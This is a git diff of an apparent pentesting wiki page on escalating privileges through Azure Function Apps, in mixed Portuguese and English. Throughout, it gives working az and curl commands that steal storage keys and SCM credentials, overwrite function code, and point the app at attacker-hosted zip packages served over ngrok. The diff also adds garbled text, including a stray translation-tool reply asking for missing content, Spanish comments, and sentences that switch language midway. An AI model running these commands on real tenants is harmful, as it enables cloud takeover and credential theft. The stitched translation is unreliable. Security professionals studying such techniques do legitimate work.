diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 3f6a47f96..5010bab04 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,34 +4,34 @@ ## Function Apps -Verifique a página a seguir para mais informações: +Check the following page for more information: {{#ref}} ../az-services/az-function-apps.md {{#endref}} -### Leitura/Gravação de Bucket +### Bucket Read/Write -Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar **diferentes contêineres** (personalizados ou com nomes pré-definidos) que podem conter **o código executado pela função**. +Com permissões para ler os containers dentro do Storage Account que armazena os dados da função, é possível encontrar **diferentes containers** (customizados ou com nomes predefinidos) que podem conter **o código executado pela função**. -Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de gravação sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função. +Uma vez que você encontrar onde o código da função está localizado, se você tiver permissões de escrita sobre ele, você pode fazer a função executar qualquer código e escalar privilégios para as managed identities anexadas à função. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`) -O código da função geralmente é armazenado dentro de um compartilhamento de arquivos. Com acesso suficiente, é possível modificar o arquivo de código e **fazer a função carregar código arbitrário**, permitindo escalar privilégios para as identidades gerenciadas anexadas à Função. +O código da função normalmente fica armazenado dentro de um file share. Com acesso suficiente é possível modificar o arquivo de código e **fazer a função carregar código arbitrário**, permitindo escalar privilégios para as managed identities anexadas à Function. -Esse método de implantação geralmente configura as configurações **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de +Esse método de implantação normalmente define as configurações **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Essas configurações conterão a **Chave da Conta de Armazenamento** que a Função pode usar para acessar o código. +Essas configurações conterão a **Storage Account Key** que a Function pode usar para acessar o código. > [!CAUTION] -> Com permissões suficientes para se conectar ao File Share e **modificar o script** em execução, é possível executar código arbitrário na Função e escalar privilégios. +> Com permissão suficiente para conectar ao File Share e **modificar o script** em execução, é possível executar código arbitrário na Function e escalar privilégios. -O exemplo a seguir usa macOS para se conectar ao file share, mas é recomendável verificar também a seguinte página para mais informações sobre file shares: +O exemplo a seguir usa macOS para conectar ao file share, mas recomenda-se também consultar a página a seguir para mais informações sobre file shares: {{#ref}} ../az-services/az-file-shares.md @@ -47,26 +47,26 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -É comum encontrar os **zip releases** dentro da pasta `function-releases` do contêiner da Conta de Armazenamento que o aplicativo de função está usando em um contêiner **geralmente chamado `function-releases`**. +Também é comum encontrar os **arquivos zip** dentro da pasta `function-releases` do container da Storage Account que a function app está usando — um container **geralmente chamado `function-releases`**. -Normalmente, esse método de implantação definirá a configuração `WEBSITE_RUN_FROM_PACKAGE` em: +Normalmente este método de implantação definirá a configuração `WEBSITE_RUN_FROM_PACKAGE` em: ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Esta configuração geralmente conterá uma **SAS URL para download** do código da Conta de Armazenamento. +Esta config will usually contain a **SAS URL to download** the code from the Storage Account. > [!CAUTION] -> Com permissões suficientes para se conectar ao contêiner de blob que **contém o código em zip**, é possível executar código arbitrário na Função e escalar privilégios. +> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Conta de Armazenamento contendo um zip do código e uma SAS URL para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`. +Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`. -- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) +- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) -Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar o contêiner **`scm-releases`**. Nele, é possível encontrar a versão mais recente no **formato de arquivo de sistema de arquivos Squashfs** e, portanto, é possível ler o código da função: +With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -É também possível encontrar as **chaves master e functions** armazenadas na conta de armazenamento no contêiner **`azure-webjobs-secrets`** dentro da pasta **``** nos arquivos JSON que você pode encontrar dentro. +Também é possível encontrar as **master and functions keys** armazenadas na storage account no container **`azure-webjobs-secrets`** dentro da pasta **``** nos arquivos JSON que você encontra lá dentro. > [!CAUTION] -> Com permissões suficientes para se conectar ao contêiner de blob que **contém o código em um arquivo com extensão zip** (que na verdade é um **`squashfs`**), é possível executar código arbitrário na Função e escalar privilégios. +> Com permissão suficiente para conectar-se ao blob container que **contém o código em um arquivo de extensão zip** (que na verdade é um **`squashfs`**) é possível executar código arbitrário na Function e elevar privilégios. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -Esta permissão permite listar as chaves de função, mestre e sistema, mas não a chave do host, da função especificada com: +Esta permissão permite listar as function, master e system keys, mas não a host, da function especificada com: ```bash az functionapp keys list --resource-group --name ``` -Com a chave mestra, também é possível obter o código-fonte em uma URL como: +Com a master key também é possível obter o código-fonte em uma URL como: ```bash # Get "script_href" from az rest --method GET \ @@ -130,25 +130,38 @@ az rest --method GET \ # Access curl "?code=" -## Python example: +# Python function app example curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v +# JavaScript function app example +curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -E para **mudar o código que está sendo executado** na função com: +E para **alterar o código que está sendo executado** na função para: ```bash # Set the code to set in the function in /tmp/function_app.py -## The following continues using the python example +## Python function app example curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \ --data-binary @/tmp/function_app.py \ -H "Content-Type: application/json" \ -H "If-Match: *" \ -v + +# NodeJS function app example +curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \ +--data-binary @/tmp/index.js \ +-H "Content-Type: application/json" \ +-H "If-Match: *" \ +-v ``` ### `Microsoft.Web/sites/functions/listKeys/action` -Esta permissão permite obter a chave do host da função especificada com: +Esta permissão permite obter a chave padrão da função especificada com: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` +Invoque a função usando a chave padrão obtida: +```bash +curl "https://.azurewebsites.net/api/?code=" +``` ### `Microsoft.Web/sites/host/functionKeys/write` Esta permissão permite criar/atualizar uma chave de função da função especificada com: @@ -157,12 +170,12 @@ az functionapp keys set --resource-group --key-name --key ``` ### `Microsoft.Web/sites/host/masterKey/write` -Esta permissão permite criar/atualizar uma chave mestra para a função especificada com: +Esta permissão permite criar/atualizar uma master key para a função especificada com: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> Lembre-se de que com esta chave você também pode acessar o código-fonte e modificá-lo, conforme explicado anteriormente! +> Lembre-se de que com esta chave você também pode acessar o código-fonte e modificá-lo, como explicado anteriormente! ### `Microsoft.Web/sites/host/systemKeys/write` @@ -170,22 +183,30 @@ Esta permissão permite criar/atualizar uma chave de função do sistema para a ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` +Você não incluiu a chave nem o conteúdo. Por favor cole a "key" e/ou o conteúdo do arquivo src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md para eu traduzir para português conforme as instruções. +```bash +# Ejemplo: Acceso a endpoints de Durable Functions +curl "https://.azurewebsites.net/runtime/webhooks/durabletask/instances?code=" + +# Ejemplo: Acceso a Event Grid webhooks +curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code=" +``` ### `Microsoft.Web/sites/config/list/action` -Esta permissão permite obter as configurações de uma função. Dentro dessas configurações, pode ser possível encontrar os valores padrão **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contêm uma **chave de conta para acessar o blob storage da função com permissões COMPLETAS**. +Essa permissão permite obter as configurações de uma function. Dentro dessas configurações pode ser possível encontrar os valores padrão **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, que contêm uma **chave de conta para acessar o blob storage da function com permissões FULL**. ```bash az functionapp config appsettings list --name --resource-group ``` -Além disso, essa permissão também permite obter o **nome de usuário e senha do SCM** (se habilitado) com: +Além disso, essa permissão também permite obter o **SCM username and password** (se ativado) com: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Essas permissões permitem listar os valores de configuração de uma função, como vimos antes, além de **modificar esses valores**. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado. +Essas permissões permitem listar os valores de configuração de uma função como vimos antes, além de **modificar esses valores**. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado. -Portanto, é possível definir o valor da configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para um arquivo zip de URL contendo o novo código a ser executado dentro de uma aplicação web: +Portanto, é possível definir o valor da configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para um arquivo zip em uma URL contendo o novo código a ser executado dentro de uma aplicação web: - Comece obtendo a configuração atual ```bash @@ -193,7 +214,7 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -- Crie o código que você deseja que a função execute e o hospede publicamente +- Crie o código que você quer que a função execute e hospede-o publicamente ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -203,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Modifique a função, mantenha os parâmetros anteriores e adicione no final a configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para a URL com o **zip** contendo o código. +- Modifique a função, mantenha os parâmetros anteriores e adicione ao final a configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para a URL com o **zip** que contém o código. -O seguinte é um exemplo das minhas **próprias configurações que você precisará alterar os valores para os seus**, note no final os valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, é aqui que eu estava hospedando o aplicativo. +O seguinte é um exemplo das minhas **próprias configurações (você precisará alterar os valores para os seus)**, observe ao final os valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, é aí que eu hospedava o app. ```bash # Modify the function az rest --method PUT \ @@ -215,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Com essa permissão, é **possível modificar o código de uma aplicação** através do console da web (ou através do seguinte endpoint da API): +Com esta permissão é **possível modificar o código de uma aplicação** através do console web (ou através do seguinte endpoint de API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -223,10 +244,29 @@ az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body + +# Through the SCM URL (using Azure permissions or SCM creds) +az rest --method PUT \ +--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \ +--resource "https://management.azure.com/" \ +--headers "If-Match=*" \ +--body 'module.exports = async function (context, req) { +context.log("JavaScript HTTP trigger function processed a request. Training Demo 2"); + +const name = (req.query.name || (req.body && req.body.name)); +const responseMessage = name +? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2" +: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2"; + +context.res = { +// status: 200, /* Defaults to 200 */ +body: responseMessage +}; +}' ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Esta permissão permite listar todos os perfis de publicação que basicamente contêm **credenciais de autenticação básica**: +Esta permissão permite listar todos os publishing profiles que basicamente contêm **basic auth credentials**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Outra opção seria definir suas próprias credenciais e usá-las com: +Outra opção seria configurar suas próprias creds e usá-las com: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- Se as credenciais de **REDACTED** +- Se as credenciais estiverem **REDACTED** -Se você ver que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção de autenticação básica do SCM** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +Se você vir que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção SCM basic authentication** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -264,7 +304,7 @@ az rest --method PUT \ ``` - **Método SCM** -Então, você pode acessar com essas **credenciais de autenticação básica para a URL do SCM** do seu aplicativo de função e obter os valores das variáveis de ambiente: +Em seguida, você pode acessar com essas **basic auth credentials to the SCM URL** do seu function app e obter os valores das env variables: ```bash # Get settings values curl -u ':' \ @@ -275,11 +315,11 @@ zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ https://.scm.azurewebsites.net/api/zipdeploy ``` -_Note que o **nome de usuário SCM** é geralmente o caractere "$" seguido pelo nome do aplicativo, então: `$`._ +_Observe que o **SCM username** costuma ser o caractere "$" seguido pelo nome do app, então: `$`._ -Você também pode acessar a página da web em `https://.scm.azurewebsites.net/BasicAuth` +Você também pode acessar a página web em `https://.scm.azurewebsites.net/BasicAuth` -Os valores das configurações contêm a **AccountKey** da conta de armazenamento que armazena os dados do aplicativo de função, permitindo controlar essa conta de armazenamento. +Os valores das configurações contêm o **AccountKey** da storage account que armazena os dados da function app, permitindo controlar essa storage account. - **Método FTP** @@ -297,19 +337,19 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Observe que o **nome de usuário FTP** geralmente está no formato \\\$\._ +_Note que o **FTP username** geralmente está no formato \\\$\._ ### `Microsoft.Web/sites/hostruntime/vfs/read` -Esta permissão permite **ler o código-fonte** do aplicativo através do VFS: +Esta permissão permite **ler o código-fonte** do app através do VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` ### `Microsoft.Web/sites/functions/token/action` -Com esta permissão, é possível [obter o **token de admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que pode ser usado posteriormente para recuperar a **chave mestra** e, portanto, acessar e modificar o código da função. +Com essa permissão é possível [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que pode ser usado posteriormente para recuperar a **master key** e, portanto, acessar e modificar o código da função. -No entanto, nas minhas últimas verificações, nenhum token foi retornado, então pode estar desativado ou não funcionando mais, mas aqui está como você faria isso: +No entanto, nas minhas últimas verificações nenhum token foi retornado, então pode estar desabilitado ou não estar mais funcionando, mas aqui está como você faria: ```bash # Get admin token az rest --method GET \ @@ -321,7 +361,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -Esta permissão permite **ativar funções** que podem estar desativadas (ou desativá-las). +Esta permissão permite **ativar functions** que podem estar desativadas (ou desativá‑las). ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -329,13 +369,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -Também é possível ver se uma função está habilitada ou desabilitada na seguinte URL (usando a permissão entre parênteses): +Também é possível ver se uma function está ativada ou desativada na seguinte URL (usando a permissão entre parênteses): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Com essas permissões, é possível **modificar o contêiner executado por um aplicativo de função** configurado para executar um contêiner. Isso permitiria que um atacante enviasse um aplicativo de contêiner de função malicioso para o docker hub (por exemplo) e fizesse a função executá-lo. +Com essas permissões é possível **modificar o container executado por um function app** configurado para executar um container. Isso permitiria que um atacante enviasse para o docker hub (por exemplo) um azure function container app malicioso e fizesse o function app executá-lo. ```bash az functionapp config container set --name \ --resource-group \ @@ -343,7 +383,7 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Com essas permissões, é possível **anexar uma nova identidade gerenciada pelo usuário a uma função**. Se a função for comprometida, isso permitiria escalar privilégios para qualquer identidade gerenciada pelo usuário. +Com essas permissões é possível **attach a new user managed identity to a function**. Se a function for comprometida, isso permitiria escalar privilégios para qualquer user managed identity. ```bash az functionapp identity assign \ --name \ @@ -352,20 +392,20 @@ az functionapp identity assign \ ``` ### Depuração Remota -Também é possível conectar para depurar uma função Azure em execução, como [**explicado na documentação**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão, o Azure desativará essa opção em 2 dias caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis. +Também é possível conectar-se para depurar uma Azure Function em execução como [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão o Azure desativará essa opção após 2 dias caso o desenvolvedor esqueça, para evitar deixar configurações vulneráveis. -É possível verificar se uma Função tem a depuração ativada com: +É possível verificar se uma Function tem depuração habilitada com: ```bash az functionapp show --name --resource-group ``` -Tendo a permissão `Microsoft.Web/sites/config/write`, também é possível colocar uma função em modo de depuração (o comando a seguir também requer as permissões `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`). +Tendo a permissão `Microsoft.Web/sites/config/write` também é possível colocar uma função em modo de depuração (o comando a seguir também requer as permissões `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Mudar repositório do Github +### Alterar Github repo -Tentei mudar o repositório do Github de onde a implantação está ocorrendo executando os seguintes comandos, mas mesmo que tenha mudado, **o novo código não foi carregado** (provavelmente porque está esperando que a Github Action atualize o código).\ -Além disso, a **credencial federada da identidade gerenciada não foi atualizada** permitindo o novo repositório, então parece que isso não é muito útil. +Tentei alterar o Github repo de onde o deploy está ocorrendo executando os seguintes comandos, mas mesmo que tenha alterado, **o novo código não foi carregado** (provavelmente porque está esperando que o Github Action atualize o código). +Além disso, a **managed identity federated credential wasn't updated** para permitir o novo repository, então parece que isso não é muito útil. ```bash # Remove current az functionapp deployment source delete \